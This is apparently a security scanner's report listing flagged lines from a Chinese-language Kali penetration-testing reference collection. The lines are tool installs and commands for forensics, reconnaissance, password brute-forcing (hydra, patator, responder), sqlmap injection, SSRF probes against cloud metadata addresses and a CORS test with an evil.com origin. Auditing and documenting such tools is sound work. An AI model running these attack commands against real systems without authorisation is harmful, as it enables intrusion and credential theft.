sudo ddrescue -v --log-events /mnt/output/events.log /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 60
sudo ddrescue -s 1G /dev/sdb /mnt/output/partial.img /mnt/output/partial.map - Dangerous shell operationline 63
sudo ddrescue -b 4096 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 66
sudo ddrescue -f /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Network accessline 83
- [GNU ddrescue (Official)](https://www.gnu.org/software/ddrescue/)
kali-pentest-zh/references/forensics/tools/exiftool.md
- Dangerous shell operationline 15
sudo apt install libimage-exiftool-perl - Network accessline 66
1. 务必在证据文件的副本上操作——仅在有意修改源文件时才使用 `-overwrite_original`。 2. EXIF 中的 GPS 坐标可转换为 Google Maps 链接:`https://maps.google.com/?q=<lat>,<lon>` 。 - Network accessline 67
2. EXIF 中的 GPS 坐标可转换为 Google Maps 链接:`https://maps.google.com/?q=<lat>,<lon>` 。 - Network accessline 76
- [ExifTool 官方网站](https://exiftool.org/) - Network accessline 77
- [ExifTool Application Documentation](https://exiftool.org/exiftool_pod.html) - Network accessline 78
- [ExifTool 标签名称参考](https://exiftool.org/TagNames/) - Network accessline 79
- [ExifTool (GitHub)](https://github.com/exiftool/exiftool)
kali-pentest-zh/references/forensics/tools/foremost.md
kali-pentest-zh/references/forensics/tools/hashdeep.md
kali-pentest-zh/references/forensics/tools/plaso.md
kali-pentest-zh/references/forensics/tools/regripper.md
kali-pentest-zh/references/forensics/tools/rkhunter.md
- Dangerous shell operationline 15
sudo apt install rkhunter - Dangerous shell operationline 44
sudo rkhunter --check - Dangerous shell operationline 47
sudo rkhunter --check --skip-keypress - Dangerous shell operationline 50
sudo rkhunter --check --report-warnings-only --skip-keypress - Dangerous shell operationline 53
sudo rkhunter --update - Dangerous shell operationline 56
sudo rkhunter --propupd - Dangerous shell operationline 59
sudo rkhunter --versioncheck - Dangerous shell operationline 65
sudo rkhunter --check --enable rootkits,trojans --skip-keypress - Dangerous shell operationline 68
sudo rkhunter --check --disable apps --skip-keypress - Dangerous shell operationline 71
sudo rkhunter --cronjob --logfile /var/log/rkhunter.log - Network accessline 89
- [rkhunter Official Site](https://rkhunter.sourceforge.net/) - Network accessline 90
- [Kali rkhunter](https://www.kali.org/tools/rkhunter/)
kali-pentest-zh/references/forensics/tools/scalpel.md
- Dangerous shell operationline 15
sudo apt install scalpel - Dangerous shell operationline 36
sudo nano /etc/scalpel/scalpel.conf - Dangerous shell operationline 42
sudo scalpel -c /etc/scalpel/scalpel.conf -o /tmp/carved/ /dev/sdb - Network accessline 71
- [Kali scalpel](https://www.kali.org/tools/scalpel/) - Network accessline 72
- [scalpel (GitHub - Sleuth Kit)](https://github.com/sleuthkit/scalpel)
kali-pentest-zh/references/forensics/tools/sleuthkit.md
kali-pentest-zh/references/forensics/tools/ssdeep.md
kali-pentest-zh/references/forensics/tools/steghide.md
kali-pentest-zh/references/forensics/tools/stegseek.md
- Network accessline 15
# 不在 Kali apt 仓库中;从 GitHub releases 安装 .deb 包: wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb - Network accessline 16
wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb - Network accessline 67
- [stegseek(GitHub)](https://github.com/RickdeJager/stegseek)
kali-pentest-zh/references/forensics/tools/tcpdump.md
kali-pentest-zh/references/forensics/tools/tcpflow.md
- Dangerous shell operationline 15
sudo apt install tcpflow - Dangerous shell operationline 49
sudo tcpflow -i eth0 -o /tmp/flows/ - Dangerous shell operationline 70
sudo tcpflow -i eth0 -o /tmp/flows/ "dst port 22" - Network accessline 90
- [Kali tcpflow](https://www.kali.org/tools/tcpflow/) - Network accessline 91
- [tcpflow (GitHub)](https://github.com/simsong/tcpflow)
kali-pentest-zh/references/forensics/tools/testdisk.md
- Dangerous shell operationline 15
sudo apt install testdisk - Dangerous shell operationline 42
sudo testdisk /log - Dangerous shell operationline 45
sudo testdisk /log /dev/sda - Dangerous shell operationline 51
sudo testdisk /cmd /dev/sda analyze - Dangerous shell operationline 54
sudo testdisk /cmd /dev/sda search - Dangerous shell operationline 60
sudo testdisk /debug /log /dev/sda - Dangerous shell operationline 63
sudo photorec /log /dev/sda - Dangerous shell operationline 66
sudo photorec /d /tmp/recovered/ /log /dev/sda - Dangerous shell operationline 69
sudo photorec /cmd /dev/sda1 fileopt,everything,enable,search - Network accessline 89
- [TestDisk Official Documentation](https://www.cgsecurity.org/wiki/TestDisk) - Network accessline 90
- [Kali testdisk](https://www.kali.org/tools/testdisk/)
kali-pentest-zh/references/forensics/tools/tshark.md
kali-pentest-zh/references/forensics/tools/volatility.md
- Dangerous shell operationline 15
sudo apt install volatility3 - Network accessline 121
# 注意:/proc/kcore 是内核运行时的 ELF core 文件,大小不固定,不一定能完整捕获内存 # 推荐使用 LiME(Linux Memory Extractor)内核模块获取可靠的完整内存转储: # git clone https://github.com/504ensicsLabs/LiME - Network accessline 122
# 推荐使用 LiME(Linux Memory Extractor)内核模块获取可靠的完整内存转储: # git clone https://github.com/504ensicsLabs/LiME # cd LiME/src && make && insmod lime-*.ko "path=/tmp/memory.raw format=raw" - Network accessline 123
# git clone https://github.com/504ensicsLabs/LiME - Dangerous shell operationline 125
sudo dd if=/proc/kcore of=/tmp/memory.raw bs=1M 2>/dev/null || true # 备用方案(功能有限) - Network accessline 140
- [Volatility3 文档](https://volatility3.readthedocs.io/) - Network accessline 141
- [Volatility3 (GitHub)](https://github.com/volatilityfoundation/volatility3)
kali-pentest-zh/references/forensics/tools/yara.md
- Dangerous shell operationline 15
sudo apt install yara - Network accessline 91
# 下载 YARA 规则集 git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules - Network accessline 92
git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules - Network accessline 123
- [YARA Documentation](https://yara.readthedocs.io/) - Network accessline 124
- [YARA (GitHub)](https://github.com/VirusTotal/yara) - Network accessline 125
- [yara — Kali Tools](https://www.kali.org/tools/yara/)
kali-pentest-zh/references/information-gathering/README.md
- Network accessline 264
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest-zh/references/information-gathering/tools/altdns.md
kali-pentest-zh/references/information-gathering/tools/amass.md
- Dangerous shell operationline 21
sudo apt install amass - Access to secretsline 197
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Network accessline 230
- [OWASP Amass GitHub](https://github.com/owasp-amass/amass) - Network accessline 231
- [Amass 文档](https://owasp-amass.github.io/docs)
kali-pentest-zh/references/information-gathering/tools/arp-scan.md
- Dangerous shell operationline 15
sudo apt install arp-scan - Dangerous shell operationline 34
sudo arp-scan -l - Dangerous shell operationline 37
sudo arp-scan -I eth0 -l - Dangerous shell operationline 40
sudo arp-scan 192.168.1.0/24 - Dangerous shell operationline 43
sudo arp-scan 192.168.1.1 192.168.1.2 192.168.1.100 - Dangerous shell operationline 46
sudo arp-scan -l --bandwidth 1000k - Dangerous shell operationline 49
sudo arp-scan -l # 默认会查询 MAC 厂商数据库 - Dangerous shell operationline 57
4. MAC 厂商查询依赖本地 OUI 数据库(`/usr/share/arp-scan/ieee-oui.txt`);如厂商信息过时,可用 `sudo get-oui` 更新。 - Network accessline 64
- [arp-scan GitHub](https://github.com/royhills/arp-scan) - Network accessline 65
- [Kali arp-scan](https://www.kali.org/tools/arp-scan/)
kali-pentest-zh/references/information-gathering/tools/assetfinder.md
kali-pentest-zh/references/information-gathering/tools/autorecon.md
- Dangerous shell operationline 15
sudo apt install autorecon - Dangerous shell operationline 74
5. 需要多项依赖(nmap、gobuster、nikto 等)——在全新 Kali 上运行 `sudo apt install autorecon` 安装。 - Network accessline 80
- [AutoRecon (GitHub)](https://github.com/AutoRecon/AutoRecon) - Network accessline 81
- [Kali autorecon](https://www.kali.org/tools/autorecon/)
kali-pentest-zh/references/information-gathering/tools/certgraph.md
kali-pentest-zh/references/information-gathering/tools/cloud-enum.md
kali-pentest-zh/references/information-gathering/tools/cloudbrute.md
kali-pentest-zh/references/information-gathering/tools/dig.md
kali-pentest-zh/references/information-gathering/tools/dmitry.md
kali-pentest-zh/references/information-gathering/tools/dnsenum.md
kali-pentest-zh/references/information-gathering/tools/dnsgen.md
kali-pentest-zh/references/information-gathering/tools/dnsmap.md
kali-pentest-zh/references/information-gathering/tools/dnsrecon.md
kali-pentest-zh/references/information-gathering/tools/dnstwist.md
kali-pentest-zh/references/information-gathering/tools/dnsx.md
kali-pentest-zh/references/information-gathering/tools/eyewitness.md
kali-pentest-zh/references/information-gathering/tools/fierce.md
kali-pentest-zh/references/information-gathering/tools/finalrecon.md
- Dangerous shell operationline 15
sudo apt install finalrecon - Network accessline 50
# 全面侦察(运行所有模块) finalrecon --url http://example.com --full - Network accessline 51
finalrecon --url http://example.com --full - Network accessline 53
# 仅头部和 SSL 分析 finalrecon --url http://example.com --headers --sslinfo - Network accessline 54
finalrecon --url http://example.com --headers --sslinfo - Network accessline 56
# DNS + 子域名枚举 finalrecon --url http://example.com --dns --sub - Network accessline 57
finalrecon --url http://example.com --dns --sub - Network accessline 59
# Web 爬取 + Wayback URL finalrecon --url http://example.com --crawl --wayback - Network accessline 60
finalrecon --url http://example.com --crawl --wayback - Network accessline 62
# 端口扫描 + WHOIS finalrecon --url http://example.com --ps --whois - Network accessline 63
finalrecon --url http://example.com --ps --whois - Network accessline 78
- [finalrecon(GitHub)](https://github.com/thewhiteh4t/FinalRecon) - Network accessline 79
- [Kali finalrecon](https://www.kali.org/tools/finalrecon/)
kali-pentest-zh/references/information-gathering/tools/findomain.md
kali-pentest-zh/references/information-gathering/tools/fping.md
kali-pentest-zh/references/information-gathering/tools/getallurls.md
- Dangerous shell operationline 15
sudo apt install getallurls - Network accessline 53
# 使用代理 echo "example.com" | gau -p http://127.0.0.1:8080 - Network accessline 54
echo "example.com" | gau -p http://127.0.0.1:8080 - Network accessline 79
- [getallurls / gau(GitHub)](https://github.com/lc/gau) - Network accessline 80
- [Kali getallurls](https://www.kali.org/tools/getallurls/)
kali-pentest-zh/references/information-gathering/tools/gowitness.md
- Dangerous shell operationline 15
sudo apt install gowitness - Network accessline 58
# 单个 URL 截图(v3) gowitness scan single -u http://target.com --write-db - Network accessline 59
gowitness scan single -u http://target.com --write-db - Network accessline 60
# v2.x 遗留:gowitness single http://target.com - Network accessline 81
gowitness report server --host 127.0.0.1 --port 7171 --db-uri sqlite://gowitness.sqlite3 # v2.x 遗留:gowitness report serve --address 127.0.0.1:7171 # 访问 http://127.0.0.1:7171 - Network accessline 83
# 访问 http://127.0.0.1:7171 - Network accessline 94
# 使用代理(v3 使用 --chrome-proxy;v2 使用 --proxy) gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db - Network accessline 95
gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db - Network accessline 111
- [gowitness(GitHub)](https://github.com/sensepost/gowitness)
kali-pentest-zh/references/information-gathering/tools/h8mail.md
kali-pentest-zh/references/information-gathering/tools/hakrawler.md
- Dangerous shell operationline 15
sudo apt install hakrawler - Network accessline 25
| `-subs` | 跟踪子域名链接 | | `-t <n>` | 线程数(默认:8) | | `-proxy <url>` | 代理 URL(如 http://127.0.0.1:8080) | - Network accessline 26
| `-t <n>` | 线程数(默认:8) | | `-proxy <url>` | 代理 URL(如 http://127.0.0.1:8080) | | `-h` | 自定义请求头(`"Name: value;;Name2: value2"` 格式,多个请求头以 `;;` 分隔) | - Network accessline 27
| `-proxy <url>` | 代理 URL(如 http://127.0.0.1:8080) | - Network accessline 37
# 爬取单个 URL echo https://example.com | hakrawler - Network accessline 38
echo https://example.com | hakrawler - Network accessline 40
# 爬取深度为 3 echo https://example.com | hakrawler -d 3 - Network accessline 41
echo https://example.com | hakrawler -d 3 - Network accessline 43
# 跟踪子域名 echo https://example.com | hakrawler -subs - Network accessline 44
echo https://example.com | hakrawler -subs - Network accessline 52
# 通过 Burp Suite 代理路由流量 echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure - Network accessline 53
echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure - Network accessline 55
# 提取 JavaScript 文件 echo https://example.com | hakrawler | grep '\.js$' - Network accessline 56
echo https://example.com | hakrawler | grep '\.js$' - Network accessline 71
- [hakrawler(GitHub)](https://github.com/hakluke/hakrawler) - Network accessline 72
- [Kali hakrawler](https://www.kali.org/tools/hakrawler/)
kali-pentest-zh/references/information-gathering/tools/hosthunter.md
- Dangerous shell operationline 15
sudo apt install hosthunter - Network accessline 19
# 或从源码安装 git clone https://github.com/SpiderLabs/HostHunter.git - Network accessline 20
git clone https://github.com/SpiderLabs/HostHunter.git - Network accessline 99
- [HostHunter(GitHub)](https://github.com/SpiderLabs/HostHunter) - Network accessline 100
- [Kali HostHunter](https://www.kali.org/tools/hosthunter/)
kali-pentest-zh/references/information-gathering/tools/httprobe.md
kali-pentest-zh/references/information-gathering/tools/httpx.md
- Dangerous shell operationline 17
sudo apt install httpx-toolkit - Network accessline 67
httpx-toolkit -u https://example.com -sc -title -td -server - Network accessline 109
httpx-toolkit -l targets.txt -sc -title -proxy http://127.0.0.1:8080 -rl 10 -threads 5 - Network accessline 127
- [httpx - GitHub](https://github.com/projectdiscovery/httpx) - Network accessline 128
- [httpx - ProjectDiscovery Documentation](https://docs.projectdiscovery.io/tools/httpx/overview)
kali-pentest-zh/references/information-gathering/tools/ldeep.md
kali-pentest-zh/references/information-gathering/tools/masscan.md
- Dangerous shell operationline 17
sudo apt install masscan - Network accessline 19
# 从源码编译 git clone https://github.com/robertdavidgraham/masscan - Network accessline 20
git clone https://github.com/robertdavidgraham/masscan - Network accessline 120
- [masscan GitHub](https://github.com/robertdavidgraham/masscan)
kali-pentest-zh/references/information-gathering/tools/massdns.md
kali-pentest-zh/references/information-gathering/tools/metagoofil.md
kali-pentest-zh/references/information-gathering/tools/naabu.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install naabu - Network accessline 76
- [naabu GitHub](https://github.com/projectdiscovery/naabu) - Network accessline 77
- [naabu Documentation](https://docs.projectdiscovery.io/tools/naabu/overview) - Network accessline 78
- [Kali naabu](https://www.kali.org/tools/naabu/)
kali-pentest-zh/references/information-gathering/tools/nbtscan.md
kali-pentest-zh/references/information-gathering/tools/netdiscover.md
- Dangerous shell operationline 15
sudo apt install netdiscover - Dangerous shell operationline 44
sudo netdiscover -r 192.168.1.0/24 - Dangerous shell operationline 47
sudo netdiscover -i eth0 -r 192.168.1.0/24 - Dangerous shell operationline 50
sudo netdiscover -p -i eth0 - Dangerous shell operationline 53
sudo netdiscover -r 10.0.0.0/24 -f - Dangerous shell operationline 56
sudo netdiscover -r 192.168.1.0/24 -s 100 - Network accessline 71
- [netdiscover GitHub](https://github.com/netdiscover-scanner/netdiscover) - Network accessline 72
- [Kali netdiscover](https://www.kali.org/tools/netdiscover/)
kali-pentest-zh/references/information-gathering/tools/nmap.md
kali-pentest-zh/references/information-gathering/tools/p0f.md
- Dangerous shell operationline 15
sudo apt install p0f - Dangerous shell operationline 39
sudo p0f -i eth0 - Dangerous shell operationline 45
sudo p0f -i eth0 -o /tmp/p0f.log - Dangerous shell operationline 48
sudo p0f -i eth0 -s /tmp/p0f.sock - Network accessline 63
- [p0f 官网](https://lcamtuf.coredump.cx/p0f3/) - Network accessline 64
- [p0f GitHub(非官方镜像)](https://github.com/p0f/p0f)
kali-pentest-zh/references/information-gathering/tools/recon-ng.md
- Dangerous shell operationline 17
sudo apt install recon-ng - Network accessline 17
sudo apt install recon-ng git clone https://github.com/lanmaster53/recon-ng - Network accessline 18
git clone https://github.com/lanmaster53/recon-ng - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Network accessline 229
- [recon-ng GitHub](https://github.com/lanmaster53/recon-ng) - Network accessline 230
- [recon-ng Wiki](https://github.com/lanmaster53/recon-ng/wiki)
kali-pentest-zh/references/information-gathering/tools/sherlock.md
- Dangerous shell operationline 15
sudo apt install sherlock - Network accessline 22
# 或从源码克隆安装 git clone https://github.com/sherlock-project/sherlock.git - Network accessline 23
git clone https://github.com/sherlock-project/sherlock.git - Network accessline 123
- [Sherlock Project(GitHub)](https://github.com/sherlock-project/sherlock) - Network accessline 124
- [Kali Sherlock](https://www.kali.org/tools/sherlock/)
kali-pentest-zh/references/information-gathering/tools/shodan.md
kali-pentest-zh/references/information-gathering/tools/spiderfoot.md
kali-pentest-zh/references/information-gathering/tools/subfinder.md
kali-pentest-zh/references/information-gathering/tools/sublist3r.md
kali-pentest-zh/references/information-gathering/tools/theHarvester.md
- Dangerous shell operationline 17
sudo apt install theharvester - Network accessline 17
sudo apt install theharvester git clone https://github.com/laramies/theHarvester - Network accessline 18
git clone https://github.com/laramies/theHarvester - Network accessline 100
- [theHarvester GitHub](https://github.com/laramies/theHarvester)
kali-pentest-zh/references/information-gathering/tools/trufflehog.md
- Dangerous shell operationline 15
sudo apt install trufflehog - Network accessline 15
sudo apt install trufflehog # 或从 GitHub releases 下载最新二进制文件 curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin - Dangerous shell operationline 17
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin - Network accessline 17
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin - Network accessline 43
# 扫描远程 git 仓库(完整历史) trufflehog git https://github.com/target-org/target-repo.git - Network accessline 44
trufflehog git https://github.com/target-org/target-repo.git - Access to secretsline 53
[Credential-related source omitted] - Network accessline 55
# JSON 输出用于自动化 trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json - Network accessline 56
trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json - Network accessline 58
# 仅显示已验证(确认活跃)的密钥 trufflehog git https://github.com/target-org/target-repo.git --results verified - Network accessline 59
trufflehog git https://github.com/target-org/target-repo.git --results verified - Network accessline 61
# 仅扫描最近的提交 trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123 - Network accessline 62
trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123 - Network accessline 64
# 跳过实时验证(更快、更安静) trufflehog git https://github.com/target-org/target-repo.git --no-verification - Network accessline 65
trufflehog git https://github.com/target-org/target-repo.git --no-verification - Network accessline 80
- [TruffleHog (GitHub)](https://github.com/trufflesecurity/trufflehog) - Network accessline 81
- [Kali trufflehog](https://www.kali.org/tools/trufflehog/)
kali-pentest-zh/references/information-gathering/tools/wafw00f.md
- Dangerous shell operationline 15
sudo apt install wafw00f - Network accessline 36
# 基础检测 wafw00f http://target.com - Network accessline 37
wafw00f http://target.com - Network accessline 39
# HTTPS wafw00f https://target.com - Network accessline 40
wafw00f https://target.com - Network accessline 42
# 检测所有可能的 WAF wafw00f -a https://target.com - Network accessline 43
wafw00f -a https://target.com - Network accessline 48
# JSON 输出 wafw00f https://target.com -o /tmp/waf_result.json -f json - Network accessline 49
wafw00f https://target.com -o /tmp/waf_result.json -f json - Network accessline 51
# 使用代理 wafw00f https://target.com -p http://127.0.0.1:8080 - Network accessline 52
wafw00f https://target.com -p http://127.0.0.1:8080 - Network accessline 66
- [wafw00f GitHub](https://github.com/EnableSecurity/wafw00f)
kali-pentest-zh/references/information-gathering/tools/whatweb.md
- Dangerous shell operationline 17
sudo apt install whatweb - Network accessline 32
| 参数 | 说明 | |-----------|-------------| | `<target>` | URL / IP / CIDR / 文件 示例:`http://example.com` | - Network accessline 33
|-----------|-------------| | `<target>` | URL / IP / CIDR / 文件 示例:`http://example.com` | | `-i <file>` | 从文件读取目标 示例:`-i targets.txt` | - Network accessline 34
| `<target>` | URL / IP / CIDR / 文件 示例:`http://example.com` | - Network accessline 73
# 基本 Web 指纹识别 whatweb http://example.com - Network accessline 74
whatweb http://example.com - Network accessline 76
# HTTPS 目标 whatweb https://example.com - Network accessline 77
whatweb https://example.com - Network accessline 79
# 详细输出 whatweb -v http://example.com - Network accessline 80
whatweb -v http://example.com - Network accessline 82
# 静默模式(仅输出结果) whatweb -q http://example.com - Network accessline 83
whatweb -q http://example.com - Network accessline 102
# 侵略性模式(更多探测,检测更多技术) whatweb -a 3 http://example.com - Network accessline 103
whatweb -a 3 http://example.com - Network accessline 105
# 最大侵略性(全面检测) whatweb -a 4 http://example.com - Network accessline 106
whatweb -a 4 http://example.com - Network accessline 112
# JSON 输出(便于解析) whatweb --log-json results.json http://example.com - Network accessline 113
whatweb --log-json results.json http://example.com - Network accessline 115
# XML 输出 whatweb --log-xml results.xml http://example.com - Network accessline 116
whatweb --log-xml results.xml http://example.com - Network accessline 118
# 详细日志 whatweb --log-verbose results.txt http://example.com - Network accessline 119
whatweb --log-verbose results.txt http://example.com - Network accessline 125
# HTTP 基础认证 whatweb --user admin:password http://example.com/admin - Network accessline 126
whatweb --user admin:password http://example.com/admin - Network accessline 128
# 使用 Cookie whatweb --cookie "session=abc123" http://example.com - Network accessline 129
whatweb --cookie "session=abc123" http://example.com - Network accessline 131
# 通过 Burp 代理 whatweb --proxy 127.0.0.1:8080 http://example.com - Network accessline 132
whatweb --proxy 127.0.0.1:8080 http://example.com - Network accessline 134
# 自定义 User-Agent whatweb -U "Mozilla/5.0 (Custom)" http://example.com - Network accessline 135
whatweb -U "Mozilla/5.0 (Custom)" http://example.com - Network accessline 137
whatweb --user-agent "Mozilla/5.0 (Custom)" http://example.com - Network accessline 166
- [WhatWeb GitHub](https://github.com/urbanadventurer/WhatWeb)
kali-pentest-zh/references/information-gathering/tools/whois.md
kali-pentest-zh/references/password/README.md
- Network accessline 210
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest-zh/references/password/tools/brutespray.md
kali-pentest-zh/references/password/tools/cewl.md
- Dangerous shell operationline 15
sudo apt install cewl - Network accessline 37
# 基础爬取,最小 6 位单词 cewl http://target.com -m 6 -w /tmp/target_wordlist.txt - Network accessline 38
cewl http://target.com -m 6 -w /tmp/target_wordlist.txt - Network accessline 40
# 爬取深度 3,提取邮件 cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt - Network accessline 41
cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt - Network accessline 43
# 爬取 HTTPS cewl https://target.com -m 6 -w /tmp/wordlist.txt - Network accessline 44
cewl https://target.com -m 6 -w /tmp/wordlist.txt - Network accessline 46
# 加数字变体(结合 john 规则) cewl http://target.com -m 6 -w /tmp/base.txt - Network accessline 47
cewl http://target.com -m 6 -w /tmp/base.txt - Network accessline 52
# 爬取需要认证的页面 cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt - Network accessline 53
cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt - Network accessline 68
- [CeWL (GitHub)](https://github.com/digininja/CeWL)
kali-pentest-zh/references/password/tools/changeme.md
- Dangerous shell operationline 15
sudo apt install changeme - Network accessline 60
# 使用代理扫描(配合 Burp Suite) changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24 - Network accessline 61
changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24 - Network accessline 88
- [changeme (GitHub)](https://github.com/ztgrace/changeme) - Network accessline 89
- [Kali changeme](https://www.kali.org/tools/changeme/)
kali-pentest-zh/references/password/tools/chntpw.md
kali-pentest-zh/references/password/tools/crowbar.md
kali-pentest-zh/references/password/tools/crunch.md
kali-pentest-zh/references/password/tools/fcrackzip.md
kali-pentest-zh/references/password/tools/gpp-decrypt.md
kali-pentest-zh/references/password/tools/hashcat.md
- Dangerous shell operationline 15
sudo apt install hashcat - Dangerous shell operationline 62
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # 仅当 .gz 存在且 .txt 不存在时执行 - Network accessline 126
- [Hashcat Wiki](https://hashcat.net/wiki/) - Network accessline 127
- [Hashcat (GitHub)](https://github.com/hashcat/hashcat) - Network accessline 128
- [Hashcat 官网](https://hashcat.net/hashcat/)
kali-pentest-zh/references/password/tools/hashid.md
kali-pentest-zh/references/password/tools/hydra.md
- Dangerous shell operationline 15
sudo apt install hydra - Network accessline 66
# 格式:"/path:POST_body:失败标志" # ⚠<U+FE0F> 失败标志必须匹配登录失败响应正文中的文本 # 运行前请用 Burp Suite 或 curl 确认确切的失败提示信息 - Network accessline 68
# 运行前请用 Burp Suite 或 curl 确认确切的失败提示信息 - Network accessline 107
- [THC-Hydra (GitHub)](https://github.com/vanhauser-thc/thc-hydra)
kali-pentest-zh/references/password/tools/john.md
kali-pentest-zh/references/password/tools/kerbrute.md
- Network accessline 15
# 从官方 GitHub releases 页面下载 Linux amd64 二进制文件 curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute - Network accessline 16
curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute - Dangerous shell operationline 19
sudo mv kerbrute /usr/local/bin/kerbrute - Network accessline 71
- [kerbrute (GitHub)](https://github.com/ropnop/kerbrute)
kali-pentest-zh/references/password/tools/medusa.md
kali-pentest-zh/references/password/tools/name-that-hash.md
kali-pentest-zh/references/password/tools/ncrack.md
kali-pentest-zh/references/password/tools/netexec.md
kali-pentest-zh/references/password/tools/patator.md
- Dangerous shell operationline 15
sudo apt install patator - Network accessline 45
# HTTP 表单 fuzz patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid' - Network accessline 46
patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid' - Network accessline 64
- [patator GitHub](https://github.com/lanjelot/patator) - Network accessline 65
- [Kali patator](https://www.kali.org/tools/patator/)
kali-pentest-zh/references/password/tools/pdfcrack.md
kali-pentest-zh/references/password/tools/rainbowcrack.md
- Dangerous shell operationline 15
sudo apt install rainbowcrack - Network accessline 53
# 下载预生成的表格(推荐——自行生成需要数天时间) # NTLM/LM 表格:https://ophcrack.sourceforge.io/tables.php - Network accessline 54
# NTLM/LM 表格:https://ophcrack.sourceforge.io/tables.php - Network accessline 55
# 免费表格: https://www.freerainbowtables.com/ - Network accessline 79
- [Kali rainbowcrack](https://www.kali.org/tools/rainbowcrack/) - Network accessline 80
- [Kali rainbowcrack package tracker](https://pkg.kali.org/pkg/rainbowcrack)
kali-pentest-zh/references/password/tools/responder.md
- Dangerous shell operationline 15
sudo apt install responder - Dangerous shell operationline 43
sudo responder -I eth0 - Dangerous shell operationline 46
sudo responder -I eth0 -wd - Dangerous shell operationline 49
sudo responder -I eth0 -A - Network accessline 73
- [Responder (GitHub)](https://github.com/lgandx/Responder)
kali-pentest-zh/references/playbooks/api-security.md
- Network accessline 24
mitmdump -w /tmp/api.flows mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com - Network accessline 25
mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com - Network accessline 41
# schemathesis — schema 驱动测试 st run https://target/openapi.json --checks all --url https://target - Network accessline 42
st run https://target/openapi.json --checks all --url https://target - Network accessline 64
```bash curl -sk https://<frontend-host>/main.js -o /tmp/main.js - Network accessline 65
curl -sk https://<frontend-host>/main.js -o /tmp/main.js - Access to secretsline 85
[Credential-related source omitted] - Network accessline 98
```bash mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false & # 验证: curl -sk -x http://127.0.0.1:8080 https://target/endpoint - Network accessline 99
mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false & # 验证: curl -sk -x http://127.0.0.1:8080 https://target/endpoint ``` - Network accessline 100
# 验证: curl -sk -x http://127.0.0.1:8080 https://target/endpoint - Network accessline 116
- 绕过成功时:直接注入静态绕过头(如 `-H "X-Signature: <bypass_value>"`)。 - 代理已构建时:所有工具通过代理路由(`--proxy=http://127.0.0.1:8080`)。 - Network accessline 117
- 代理已构建时:所有工具通过代理路由(`--proxy=http://127.0.0.1:8080`)。 - Network accessline 163
- 测试 API 参数的 SQL 注入、NoSQL 注入、命令注入、LDAP 注入和 XML 外部实体(XXE)攻击。 - 使用 `sqlmap`(参见 `../web/tools/sqlmap.md`)配合 API 专项选项:将代表性请求保存到文件并运行 `sqlmap -r request.txt --batch`;对 JSON 请求体使用 `--data` 并配合正确的 `--headers="Content-Type: application/json"`。 - Network accessline 164
- 使用 `sqlmap`(参见 `../web/tools/sqlmap.md`)配合 API 专项选项:将代表性请求保存到文件并运行 `sqlmap -r request.txt --batch`;对 JSON 请求体使用 `--data` 并配合正确的 `--headers="Content-Type: application/json"`。 - 通过 URL 和文件参数测试 SSRF——提供内部地址(`http://169.254.169.254/`、`http - Network accessline 165
- 通过 URL 和文件参数测试 SSRF——提供内部地址(`http://169.254.169.254/`、`http://127.0.0.1:<port>`)并观察响应。 - Network accessline 172
sqlmap -r /tmp/api_request.txt --batch --level=3 --risk=2 # JSON 请求体注入 sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch - Network accessline 174
sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch - Network accessline 206
# 使用任意来源测试 CORS curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control" - Network accessline 207
curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control" - Network accessline 208
